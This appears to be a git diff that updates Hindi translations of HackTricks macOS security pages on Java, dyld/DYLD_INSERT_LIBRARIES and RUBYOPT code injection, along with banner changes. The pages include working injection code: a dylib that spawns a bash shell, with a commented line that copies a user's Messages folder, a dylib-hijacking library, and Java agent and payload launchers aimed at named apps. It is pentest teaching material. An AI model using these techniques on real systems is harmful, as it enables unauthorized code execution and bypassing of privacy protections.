-AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! +HackTricks का समर्थन करें -HackTricks का समर्थन करने के अन्य तरीके: - -* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com) -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह -* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें। +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md index e4f7ffc58..df577b15f 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md @@ -1,22 +1,23 @@ -# macOS जावा एप्लिकेशन इंजेक्शन +# macOS Java Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! +Support HackTricks -HackTricks का समर्थन करने के अन्य तरीके: - -* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)! -* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## जाँच +## Enumeration -अपने सिस्टम में इंस्टॉल किए गए जावा एप्लिकेशन्स खोजें। यह पाया गया कि **Info.plist** में जावा ऐप्स में कुछ जावा पैरामीटर होते हैं जिनमें **`java.`** स्ट्रिंग होती है, इसलिए आप उसे खोज सकते हैं: +अपने सिस्टम में स्थापित Java अनुप्रयोगों को खोजें। यह देखा गया कि **Info.plist** में Java ऐप्स कुछ जावा पैरामीटर शामिल करेंगे जिनमें स्ट्रिंग **`java.`** होगी, इसलिए आप इसके लिए खोज सकते हैं: ```bash # Search only in /Applications folder sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null @@ -26,13 +27,13 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null ``` ## \_JAVA\_OPTIONS -एनवायरनमेंट वेरिएबल **`_JAVA_OPTIONS`** का उपयोग एक जावा संकलित ऍप्लिकेशन के निष्पादन में विभिन्न जावा पैरामीटर डालने के लिए किया जा सकता है: +env वेरिएबल **`_JAVA_OPTIONS`** का उपयोग किसी java संकलित ऐप के निष्पादन में मनमाने java पैरामीटर को इंजेक्ट करने के लिए किया जा सकता है: ```bash # Write your payload in a script called /tmp/payload.sh export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" ``` -इसे एक नए प्रक्रिया के रूप में निष्पादित करने के लिए आप इस्तेमाल कर सकते हैं: +नई प्रक्रिया के रूप में इसे निष्पादित करने के लिए और वर्तमान टर्मिनल के बच्चे के रूप में नहीं, आप उपयोग कर सकते हैं: ```objectivec #import // clang -fobjc-arc -framework Foundation invoker.m -o invoker @@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary return 0; } ``` -हालांकि, इससे एप्लिकेशन पर त्रुटि उत्पन्न होगी, एक और अधिक छिपकली तरीका यह है कि एक जावा एजेंट बनाएं और उपयोग करें: +हालांकि, यह निष्पादित ऐप पर एक त्रुटि को ट्रिगर करेगा, एक और अधिक छिपा हुआ तरीका एक जावा एजेंट बनाने और उपयोग करने का है: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -95,10 +96,10 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` {% hint style="danger" %} -एप्लिकेशन से **भिन्न जावा संस्करण** के साथ एजेंट बनाने से दोनों एजेंट और एप्लिकेशन का कार्यक्रम विफल हो सकता है। +एजेंट को **विभिन्न Java संस्करण** के साथ बनाना एप्लिकेशन और एजेंट दोनों के निष्पादन को क्रैश कर सकता है {% endhint %} -जहां एजेंट हो सकता है: +जहाँ एजेंट हो सकता है: {% code title="Agent.java" %} ```java @@ -119,19 +120,19 @@ err.printStackTrace(); ``` {% endcode %} -एजेंट को कंपाइल करने के लिए निम्नलिखित को चलाएं: +एजेंट को संकलित करने के लिए चलाएँ: ```bash javac Agent.java # Create Agent.class jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar ``` -`manifest.txt` के साथ: +With `manifest.txt`: ``` Premain-Class: Agent Agent-Class: Agent Can-Redefine-Classes: true Can-Retransform-Classes: true ``` -और फिर env वेरिएबल को निर्यात करें और निम्नलिखित तरह से जावा एप्लिकेशन चलाएं: +और फिर env वेरिएबल को एक्सपोर्ट करें और जावा एप्लिकेशन को इस तरह चलाएं: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -142,12 +143,12 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession ``` ## vmoptions फ़ाइल -यह फ़ाइल **Java params** की विशेषिता को समर्थन करती है जब Java को क्रियान्वित किया जाता है। आप कुछ पिछले तरीकों का उपयोग करके जावा पैरामीटर बदल सकते हैं और **प्रक्रिया को विचारशील आदेशों को निष्पादित करने** के लिए।\ -इसके अतिरिक्त, इस फ़ाइल में `include` निर्देशिका के साथ अन्य भी **शामिल किया जा सकता है**, इसलिए आप एक सम्मिलित फ़ाइल को भी बदल सकते हैं। +यह फ़ाइल **Java params** के विनिर्देशन का समर्थन करती है जब Java निष्पादित होता है। आप कुछ पिछले ट्रिक्स का उपयोग करके java params को बदल सकते हैं और **प्रक्रिया को मनमाने आदेश निष्पादित करने** के लिए बना सकते हैं।\ +इसके अलावा, यह फ़ाइल `include` निर्देशिका के साथ **अन्य फ़ाइलों को भी शामिल** कर सकती है, इसलिए आप एक शामिल फ़ाइल को भी बदल सकते हैं। -और भी, कुछ जावा ऐप्स **एक से अधिक `vmoptions`** फ़ाइल लोड करेंगे। +यहां तक कि, कुछ Java ऐप्स **एक से अधिक `vmoptions`** फ़ाइलें लोड करेंगे। -कुछ एप्लिकेशन जैसे Android Studio इन फ़ाइलों के लिए **उन्हें दिखाते हैं** कि वे कहाँ देख रहे हैं, जैसे: +कुछ अनुप्रयोग जैसे Android Studio अपने **आउटपुट में यह संकेत करते हैं कि वे इन फ़ाइलों के लिए कहाँ देख रहे हैं**, जैसे: ```bash /Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions @@ -158,7 +159,7 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession 2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions 2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions ``` -अगर वे नहीं करते हैं तो आप इसे आसानी से जांच सकते हैं: +यदि वे ऐसा नहीं करते हैं, तो आप इसे आसानी से जांच सकते हैं: ```bash # Monitor sudo eslogger lookup | grep vmoption # Give FDA to the Terminal @@ -166,4 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal # Launch the Java app /Applications/Android\ Studio.app/Contents/MacOS/studio ``` -ध्यान दें कि इस उदाहरण में Android स्टूडियो को फ़ाइल **`/Applications/Android Studio.app.vmoptions`** लोड करने की कोशिश कर रहा है, जहां **`admin` समूह से किसी भी उपयोगकर्ता के पास लेखन अधिकार है।** +नोट करें कि इस उदाहरण में Android Studio फ़ाइल **`/Applications/Android Studio.app.vmoptions`** को लोड करने की कोशिश कर रहा है, एक ऐसा स्थान जहाँ **`admin` समूह** के किसी भी उपयोगकर्ता को लिखने की अनुमति है। diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md index bb7ceb8ee..9f337651b 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -1,22 +1,23 @@ -# macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES +# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! +Support HackTricks -दूसरे तरीके HackTricks का समर्थन करने के लिए: - -* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos पर PRs सबमिट करके। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## DYLD_INSERT_LIBRARIES मूल उदाहरण +## DYLD\_INSERT\_LIBRARIES बुनियादी उदाहरण -**शैल को निष्पादित करने के लिए इंजेक्ट करने वाली पुस्तकालय:** +**शेल निष्पादित करने के लिए इंजेक्ट करने के लिए पुस्तकालय:** ```c // gcc -dynamiclib -o inject.dylib inject.c @@ -34,7 +35,7 @@ execv("/bin/bash", 0); //system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` -आक्रमण के लिए बाइनरी: +बाइनरी पर हमला करने के लिए: ```c // gcc hello.c -o hello #include @@ -45,13 +46,13 @@ printf("Hello, World!\n"); return 0; } ``` -संधारण: +Injection: ```bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` -## Dyld हाइजैकिंग उदाहरण +## Dyld Hijacking Example -लक्षित वंलरेबल बाइनरी है `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. +लक्षित कमजोर बाइनरी है `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. {% tabs %} {% tab title="entitlements" %} @@ -91,7 +92,7 @@ compatibility version 1.0.0 {% endtab %} {% endtabs %} -पिछली जानकारी के साथ हमें पता चलता है कि यह **लोड की गई पुस्तकालयों के हस्ताक्षर की जांच नहीं कर रहा है** और यह **एक पुस्तकालय लोड करने की कोशिश कर रहा है**: +पिछली जानकारी के साथ, हम जानते हैं कि यह **लोड की गई लाइब्रेरीज़ के हस्ताक्षर की जांच नहीं कर रहा है** और यह **एक लाइब्रेरी लोड करने की कोशिश कर रहा है**: * `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` * `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` @@ -104,7 +105,7 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` -इसलिए, इसे हाइजैक करना संभव है! एक लाइब्रेरी बनाएं जो **कुछ अनियमित कोड को क्रियान्वित करती है और वास्तविक लाइब्रेरी की तरह समार्थन निर्यात करती है** उसे पुनः निर्यात करके। और याद रखें कि इसे उम्मीद की गई संस्करणों के साथ कंपाइल करें: +तो, इसे हाईजैक करना संभव है! एक लाइब्रेरी बनाएं जो **कुछ मनमाने कोड को निष्पादित करती है और वैध लाइब्रेरी के समान कार्यक्षमताओं को फिर से निर्यात करके निर्यात करती है**। और याद रखें कि इसे अपेक्षित संस्करणों के साथ संकलित करें: {% code title="lib.m" %} ```objectivec @@ -117,7 +118,7 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]); ``` {% endcode %} -इसे कंपाइल करें: +इसे संकलित करें: {% code overflow="wrap" %} ```bash @@ -126,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found ``` {% endcode %} -पुनयायात्रा पथ जो पुस्तकालय में बनाया गया है, लोडर के संबंध में सापेक्ष है, हम इसे निर्यात करने के लिए एक पूर्ण पथ के लिए बदल देंगे: +लाइब्रेरी में बनाए गए पुनः निर्यात पथ लोडर के सापेक्ष होते हैं, आइए इसे निर्यात करने के लिए लाइब्रेरी के लिए एक पूर्ण पथ में बदलते हैं: {% code overflow="wrap" %} ```bash @@ -147,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con ``` {% endcode %} -अंत में इसे **हाइजैक की गई स्थान** पर कॉपी करें: +अंत में, इसे **हाइजैक की गई स्थान** पर कॉपी करें: {% code overflow="wrap" %} ```bash @@ -155,7 +156,7 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` {% endcode %} -और **बाइनरी को चलाएं** और जांच करें कि **लाइब्रेरी लोड** हो गई है: +और **बाइनरी** को **निष्पादित** करें और जांचें कि **लाइब्रेरी लोड हुई**:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
 2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
@@ -163,25 +164,26 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
 
{% hint style="info" %} -इस व्यक्तिगत दुरुपयोग को दुरुपयोग करने के लिए इस कमजोरी के बारे में एक अच्छा लेख [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) में मिल सकता है। +कैमरा अनुमतियों का दुरुपयोग करने के लिए इस भेद्यता का दुरुपयोग कैसे करें, इस पर एक अच्छा लेख [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) में पाया जा सकता है। {% endhint %} ## बड़े पैमाने पर -यदि आप अप्रत्याशित बाइनरी में लाइब्रेरी इंजेक्शन करने की कोशिश कर रहे हैं तो आप प्रक्रिया के अंदर लाइब्रेरी लोड होने का पता लगाने के लिए घटना संदेशों की जांच कर सकते हैं (इस मामले में printf और `/bin/bash` निष्क्रिय करें)। +यदि आप अप्रत्याशित बाइनरी में लाइब्रेरी इंजेक्ट करने की योजना बना रहे हैं, तो आप यह पता लगाने के लिए इवेंट संदेशों की जांच कर सकते हैं कि प्रक्रिया के अंदर लाइब्रेरी कब लोड होती है (इस मामले में printf और `/bin/bash` निष्पादन को हटा दें)। ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` +{% hint style="success" %} +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)! +HackTricks का समर्थन करें -दूसरे तरीके HackTricks का समर्थन करने के लिए: - -* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें -* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें। -* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।** +* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md index 30bcb9c6e..56cca3a43 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md @@ -1,24 +1,25 @@ -# macOS Ruby एप्लिकेशन्स इंजेक्शन +# macOS Ruby Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! +Support HackTricks -HackTricks का समर्थन करने के अन्य तरीके: - -* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह -* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**. -* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ## RUBYOPT -इस env वेरिएबल का उपयोग करके जब भी **ruby** निष्पादित होती है तो उसमें **नए पैरामीटर्स जोड़ना** संभव है। हालांकि पैरामीटर **`-e`** का उपयोग ruby कोड निष्पादित करने के लिए नहीं किया जा सकता, पैरामीटर्स **`-I`** और **`-r`** का उपयोग करके लाइब्रेरीज के लोड पथ में एक नया फोल्डर जोड़ना और फिर **लोड करने के लिए एक लाइब्रेरी निर्दिष्ट करना** संभव है। +इस env वेरिएबल का उपयोग करके **ruby** को निष्पादित करते समय **नए params** को **जोड़ना** संभव है। हालांकि **`-e`** पैरामीटर का उपयोग ruby को निष्पादित करने के लिए कोड निर्दिष्ट करने के लिए नहीं किया जा सकता है, लेकिन **`-I`** और **`-r`** पैरामीटर का उपयोग करके लोड पथ में एक नई फ़ोल्डर जोड़ना और फिर **लोड करने के लिए एक लाइब्रेरी निर्दिष्ट करना** संभव है। -**`/tmp`** में लाइब्रेरी **`inject.rb`** बनाएं: +लाइब्रेरी **`inject.rb`** को **`/tmp`** में बनाएं: {% code title="inject.rb" %} ```ruby @@ -26,7 +27,7 @@ puts `whoami` ``` {% endcode %} -कहीं भी एक रूबी स्क्रिप्ट बनाएं जैसे: +किसी भी जगह एक रूबी स्क्रिप्ट बनाएं जैसे: {% code title="hello.rb" %} ```ruby @@ -34,24 +35,25 @@ puts 'Hello, World!' ``` {% endcode %} -फिर एक मनमानी रूबी स्क्रिप्ट बनाएं और इसे लोड करें: +फिर एक मनमाना रूबी स्क्रिप्ट इसे लोड करें: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb ``` -मजेदार तथ्य, यह पैरामीटर **`--disable-rubyopt`** के साथ भी काम करता है: +दिलचस्प तथ्य, यह **`--disable-rubyopt`** पैरामीटर के साथ भी काम करता है: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt ``` +{% hint style="success" %} +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-शून्य से नायक तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ! +HackTricks का समर्थन करें -HackTricks का समर्थन करने के अन्य तरीके: - -* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह -* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का पालन करें.** -* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें। +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md index 14c9695ed..fd8fc43c3 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md @@ -1,24 +1,30 @@ -# macOS xattr-acls extra stuff +# macOS xattr-acls अतिरिक्त चीजें + +{% hint style="success" %} +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! +HackTricks का समर्थन करें -HackTricks का समर्थन करने के अन्य तरीके: - -* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com) -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह -* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें। +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR 